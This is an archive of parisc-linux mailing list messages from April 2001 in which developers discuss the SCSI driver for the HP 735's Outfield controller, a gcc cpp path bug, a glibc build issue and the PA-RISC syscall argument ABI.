          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010422215724.EWTR29087.viemta05@gmx.at>
          for <parisc-linux@parisc-linux.org>;
          Sun, 22 Apr 2001 23:57:24 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10892

Hello !

My email address has changed.
On the machines:
	* E55
	* 720 
I have registered a 2nd time with the new address !
Please delete the first entry of
	Christoph Plattner
	christoph.plattner@dot.at
New address:
	christoph.plattner@gmx.at 
!!

With friendly regards
	Christoph Plattner



-- 
-------------------------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>
Newsgroups: gmane.linux.ports.parisc
Subject: FW: [parisc-linux] How do I use the FW scsi on 735?
Date: Mon, 23 Apr 2001 09:08:33 +1000
Lines: 18
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C7294A@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620069 18553 80.91.229.3 (22 Nov 2014 01:34:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:29 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 22 17:08:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bastion.qld.csiro.au (bastion.qld.csiro.au [140.253.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4D04482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Apr 2001 17:08:43 -0600 (MDT)
Original-Received: from bastion.qld.csiro.au (localhost [127.0.0.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id JAA23061
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Apr 2001 09:08:40 +1000 (EST)
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id JAA23057
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Apr 2001 09:08:40 +1000 (EST)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2650.21)
	id <2V9BR261>; Mon, 23 Apr 2001 09:08:35 +1000
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10893


> -----Original Message-----
> From: van de Werken, Matthew (DEM, PH) 
> Sent: Monday, 23 April 2001 9:07
> To: 'parisc-linux@lists.parisc.org'
> Subject: RE: [parisc-linux] How do I use the FW scsi on 735?
> 
> 
> Forgot to mention, it's a custom kernel - there is a chance I 
> left out the necessary drivers. What is the driver for the FW 
> SCSI controller on the 735 please?
> 
> Cheers,
> MvdW
> 




From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: [parisc-linux] How do I use the FW scsi on 735?
Date: Mon, 23 Apr 2001 17:02:58 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20010423170258.G985@linuxcare.com>
References: <A8566E157F5FD411BCFB00D0B7816D51C7294A@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620069 18554 80.91.229.3 (22 Nov 2014 01:34:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:29 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 10:01:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C587482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Apr 2001 10:01:54 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 928F8B007; Mon, 23 Apr 2001 17:02:58 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <A8566E157F5FD411BCFB00D0B7816D51C7294A@ntexchange.cat.csiro.au>; from M.Vandewerken@cat.csiro.au on Mon, Apr 23, 2001 at 09:08:33AM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:10894

On Mon, Apr 23, 2001 at 09:08:33AM +1000, van de Werken, Matthew (DEM, PH) wrote:
> 
> 
> > -----Original Message-----
> > From: van de Werken, Matthew (DEM, PH) 
> > Sent: Monday, 23 April 2001 9:07
> > To: 'parisc-linux@lists.parisc.org'
> > Subject: RE: [parisc-linux] How do I use the FW scsi on 735?
> > 
> > 
> > Forgot to mention, it's a custom kernel - there is a chance I 
> > left out the necessary drivers. What is the driver for the FW 
> > SCSI controller on the 735 please?

I don't know, the relevant line from your boot messages is

7. Outfield FW SCSI (10) at 0xf0830000, versions 0x9, 0x0, 0x7c, 0x0, 0x0

anyone like to comment on what that device is?

You probably ought to include CONFIG_SCSI_LASI, CONFIG_SCSI_ZALON, and
CONFIG_SCSI_SYM53C8XX, and see if it makes a diference, but I'm not
expecting it to.

Richard





From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] modules/modutils??
Date: Mon, 23 Apr 2001 17:39:04 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010423173904.I985@linuxcare.com>
References: <Pine.BSO.4.33.0104210022200.24463-100000@mojo.calyx.net> <20010421053709.H18464@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620070 18556 80.91.229.3 (22 Nov 2014 01:34:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:30 +0000 (UTC)
Cc: "Brian S. Julin" <bri@mojo.calyx.net>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 10:38:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id D20A6482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Apr 2001 10:37:59 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 05927B007; Mon, 23 Apr 2001 17:39:04 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010421053709.H18464@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Sat, Apr 21, 2001 at 05:37:09AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10895

On Sat, Apr 21, 2001 at 05:37:09AM +0100, Matthew Wilcox wrote:
> On Sat, Apr 21, 2001 at 12:24:52AM -0400, Brian S. Julin wrote:
> > 
> > Hmm.  What would I be doing wrong to produce this error:
> 
> http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2001-April/028890.html

and the patch you need to modutils, if you want to build your own,
is here:

http://lists.parisc-linux.org/pipermail/parisc-linux/2001-April/012181.html

Richard





From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: [parisc-linux] How do I use the FW scsi on 735?
Date: Mon, 23 Apr 2001 18:51:35 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20010423185135.B18464@parcelfarce.linux.theplanet.co.uk>
References: <A8566E157F5FD411BCFB00D0B7816D51C7294A@ntexchange.cat.csiro.au> <20010423170258.G985@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620070 18561 80.91.229.3 (22 Nov 2014 01:34:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:30 +0000 (UTC)
Cc: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 11:52:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B536F482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Apr 2001 11:52:08 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14rkUp-00070x-00; Mon, 23 Apr 2001 18:51:35 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010423170258.G985@linuxcare.com>; from rhirst@linuxcare.com on Mon, Apr 23, 2001 at 05:02:58PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10896

On Mon, Apr 23, 2001 at 05:02:58PM +0100, Richard Hirst wrote:
> > > Forgot to mention, it's a custom kernel - there is a chance I 
> > > left out the necessary drivers. What is the driver for the FW 
> > > SCSI controller on the 735 please?
> 
> I don't know, the relevant line from your boot messages is
> 
> 7. Outfield FW SCSI (10) at 0xf0830000, versions 0x9, 0x0, 0x7c, 0x0, 0x0
> 
> anyone like to comment on what that device is?

The relevant document is still missing from the linuxcare website,
despite a bug filed against it for over a month now.  Fortunately,
I kept a copy of the old website active, so you can view it at
http://puffin.external.hp.com/parisc/hp9000_models.html

The relevant quote is:

 The PCXS and PCXT models include the NCR 53C700 device at various
SCSI-Clock rates for the built-in Single-Ended (SE) SCSI controller.
These older models use the NCR 53C720 (40 MHz) SCSI controller (where
supported) with the Outfield (O) chip for the built-in SCSI controller
for the Fast-Wide-Differential (FWD) SCSI bus.  The PCXS and PCXT models
do not provide support for an internal PC Floppy drive.

> You probably ought to include CONFIG_SCSI_LASI, CONFIG_SCSI_ZALON, and
> CONFIG_SCSI_SYM53C8XX, and see if it makes a diference, but I'm not
> expecting it to.

So it seems like we need to find you an Outfield device & docs :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc -print-file-name=cpp
Date: Mon, 23 Apr 2001 19:52:39 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010423195239.D18464@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620070 18565 80.91.229.3 (22 Nov 2014 01:34:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:30 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 12:52:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94698482A
	for <parisc-linux@parisc-linux.org>; Mon, 23 Apr 2001 12:52:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14rlRv-0008N0-00
	for parisc-linux@parisc-linux.org; Mon, 23 Apr 2001 19:52:39 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10897

Our gcc prints `cpp' when invoked as gcc -print-file-name=cpp.  Every
other gcc in the world seems to output something along the lines of
/usr/lib/gcc-lib/i386-linux/2.95.2/cpp.  This includes other gcc 3.0
and 3.1 versions.  Would someone care to track this down?  This bug
currently requires a patch to glibc in order to get glibc to build,
and Ulrich rightly refuses to apply this patch to glibc CVS.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc -print-file-name=cpp
Date: Mon, 23 Apr 2001 15:04:10 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200104231904.PAA20313@hiauly1.hia.nrc.ca>
References: <20010423195239.D18464@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620071 18566 80.91.229.3 (22 Nov 2014 01:34:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:31 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 13:04:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2229C482A
	for <parisc-linux@parisc-linux.org>; Mon, 23 Apr 2001 13:04:19 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA20313;
	Mon, 23 Apr 2001 15:04:11 -0400 (EDT)
In-Reply-To: <20010423195239.D18464@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Apr 23, 2001 07:52:39 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:10898

> Our gcc prints `cpp' when invoked as gcc -print-file-name=cpp.  Every
> other gcc in the world seems to output something along the lines of
> /usr/lib/gcc-lib/i386-linux/2.95.2/cpp.  This includes other gcc 3.0
> and 3.1 versions.  Would someone care to track this down?  This bug
> currently requires a patch to glibc in order to get glibc to build,
> and Ulrich rightly refuses to apply this patch to glibc CVS.

Is there a library file with the name `cpp' on your system?  In gcc 3.0,
the preprocessor is builtin, although there is a standalone processor
cpp0.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Thienemann <andreas@thienemann.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with glibc
Date: Mon, 23 Apr 2001 21:33:39 +0200 (CEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10104232132120.18481-100000@gate.ixs.com>
References: <20010422202057.Y18464@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620071 18569 80.91.229.3 (22 Nov 2014 01:34:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:31 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 13:34:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from bender.bawue.de (bender.bawue.de [193.197.13.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E26D482A
	for <parisc-linux@parisc-linux.org>; Mon, 23 Apr 2001 13:34:22 -0600 (MDT)
Original-Received: from gate.ixs.com (pC19F803F.dip.t-dialin.net [193.159.128.63])
	by bender.bawue.de (Postfix) with ESMTP id 3FFA448640
	for <parisc-linux@parisc-linux.org>; Mon, 23 Apr 2001 21:33:54 +0200 (CEST)
Original-Received: from localhost (andreas@localhost)
	by gate.ixs.com (8.9.3/8.9.3) with ESMTP id VAA29790
	for <parisc-linux@parisc-linux.org>; Mon, 23 Apr 2001 21:33:39 +0200
X-Sender: andreas@gate.ixs.com
In-Reply-To: <20010422202057.Y18464@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10899

Hi Matthew,

On Sun, 22 Apr 2001, Matthew Wilcox wrote:

> Yes, I was getting it too.  After my recent kernel checkin to fix the
> stat64 struct, I was able to build glibc successfully.  My theory is that
> glibc was trying to call the *stat64 syscalls and the kernel was happily
> writing all over user memory.

> I would be grateful if you updated your (running) kernel to head of
> CVS and tried building glibc again.
Jepp. That did it. glibc was just build successful.
But you wouldn't believe how long it took on that system. Just 101MHz..

But thanks for the advice.
Now back to my quest on installing linux from  scratch. ;)

bye,
 andreas





From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 32-bit ABI for passing 64-bit quantities to functions
Date: Mon, 23 Apr 2001 20:35:41 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20010423203541.E18464@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620071 18571 80.91.229.3 (22 Nov 2014 01:34:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:31 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 13:35:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC713482A
	for <parisc-linux@parisc-linux.org>; Mon, 23 Apr 2001 13:35:51 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14rm7Z-0000sR-00
	for parisc-linux@parisc-linux.org; Mon, 23 Apr 2001 20:35:41 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10900

the 32-bit ABI specifies that 64-bit quantities are passed aligned to
64-bit boundaries.  So int foo(int a, long long b) passes a in gr26, and
b in gr24 & gr23, leaving gr25 unused.  this is a problem in our syscall
interface, because glibc picks the 64-bit quantity apart into high and low
words and passes them individually.  meanwhile the syscall is prototyped
as above and expects the arguments in different registers... strangely,
this fails to work well.

now, all the syscalls are marked with `asmlinkage', which is currently
null on pa.  if we had an __attribute__((packed-args)) we could use that
with little pain.  alternatively, we could add a -fpacked-args compile
option, which tells gcc to always pack arguments.  we could compile the
whole kernel with this -- i don't know why this ABI choice was made.
Cary, could you comment?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: [parisc-linux] How do I use the FW scsi on 735?
Date: Mon, 23 Apr 2001 20:50:06 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20010423205006.M985@linuxcare.com>
References: <A8566E157F5FD411BCFB00D0B7816D51C7294A@ntexchange.cat.csiro.au> <20010423170258.G985@linuxcare.com> <20010423185135.B18464@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620072 18582 80.91.229.3 (22 Nov 2014 01:34:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:32 +0000 (UTC)
Cc: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 13:49:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E208482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Apr 2001 13:49:02 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D3C43B007; Mon, 23 Apr 2001 20:50:06 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010423185135.B18464@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Mon, Apr 23, 2001 at 06:51:35PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10901

On Mon, Apr 23, 2001 at 06:51:35PM +0100, Matthew Wilcox wrote:
> On Mon, Apr 23, 2001 at 05:02:58PM +0100, Richard Hirst wrote:
> > > > Forgot to mention, it's a custom kernel - there is a chance I 
> > > > left out the necessary drivers. What is the driver for the FW 
> > > > SCSI controller on the 735 please?
> > 
> > I don't know, the relevant line from your boot messages is
> > 
> > 7. Outfield FW SCSI (10) at 0xf0830000, versions 0x9, 0x0, 0x7c, 0x0, 0x0
> > 
> > anyone like to comment on what that device is?
> 
> The relevant document is still missing from the linuxcare website,
> despite a bug filed against it for over a month now.  Fortunately,
> I kept a copy of the old website active, so you can view it at
> http://puffin.external.hp.com/parisc/hp9000_models.html

Ah, I remember that page from long ago; thanks.

> The relevant quote is:
> 
>  The PCXS and PCXT models include the NCR 53C700 device at various
> SCSI-Clock rates for the built-in Single-Ended (SE) SCSI controller.
> These older models use the NCR 53C720 (40 MHz) SCSI controller (where
> supported) with the Outfield (O) chip for the built-in SCSI controller
> for the Fast-Wide-Differential (FWD) SCSI bus.  The PCXS and PCXT models
> do not provide support for an internal PC Floppy drive.
> 
> > You probably ought to include CONFIG_SCSI_LASI, CONFIG_SCSI_ZALON, and
> > CONFIG_SCSI_SYM53C8XX, and see if it makes a diference, but I'm not
> > expecting it to.
> 
> So it seems like we need to find you an Outfield device & docs :-)

Oh, more h/w to annoy the wife with ;)

So CONFIG_SCSI_ZALON with some tweaks to talk to 53c720 on Outfield
rather than Zalon is needed.

Richard





From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc -print-file-name=cpp
Date: Mon, 23 Apr 2001 21:01:20 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010423210120.F18464@parcelfarce.linux.theplanet.co.uk>
References: <20010423195239.D18464@parcelfarce.linux.theplanet.co.uk> <200104231904.PAA20313@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620072 18584 80.91.229.3 (22 Nov 2014 01:34:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:32 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 14:01:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7A8F482A
	for <parisc-linux@parisc-linux.org>; Mon, 23 Apr 2001 14:01:36 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14rmWO-0001LC-00; Mon, 23 Apr 2001 21:01:20 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200104231904.PAA20313@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Mon, Apr 23, 2001 at 03:04:10PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10902

On Mon, Apr 23, 2001 at 03:04:10PM -0400, John David Anglin wrote:
> Is there a library file with the name `cpp' on your system?

There's /lib/cpp and /usr/bin/cpp which are both symlinks to
/usr/bin/cpp-3.0.  There's also /usr/lib/gcc-lib/hppa-linux/3.0/tradcpp0
and /usr/lib/gcc-lib/hppa-linux/3.0/cpp0, neither of which are links
to anything.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc -print-file-name=cpp
Date: Mon, 23 Apr 2001 16:22:46 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200104232022.QAA22918@hiauly1.hia.nrc.ca>
References: <20010423210120.F18464@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620072 18586 80.91.229.3 (22 Nov 2014 01:34:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:32 +0000 (UTC)
Cc: matthew@wil.cx, parisc-linux@parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 23 14:23:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D2AF482A
	for <parisc-linux@parisc-linux.org>; Mon, 23 Apr 2001 14:23:04 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA22918;
	Mon, 23 Apr 2001 16:22:47 -0400 (EDT)
In-Reply-To: <20010423210120.F18464@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Apr 23, 2001 09:01:20 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:10903

> On Mon, Apr 23, 2001 at 03:04:10PM -0400, John David Anglin wrote:
> > Is there a library file with the name `cpp' on your system?
> 
> There's /lib/cpp and /usr/bin/cpp which are both symlinks to
> /usr/bin/cpp-3.0.  There's also /usr/lib/gcc-lib/hppa-linux/3.0/tradcpp0
> and /usr/lib/gcc-lib/hppa-linux/3.0/cpp0, neither of which are links
> to anything.

Try `gcc -print-search-dirs' and see if for some strange reason /lib isn't
in the library search path.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:17:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
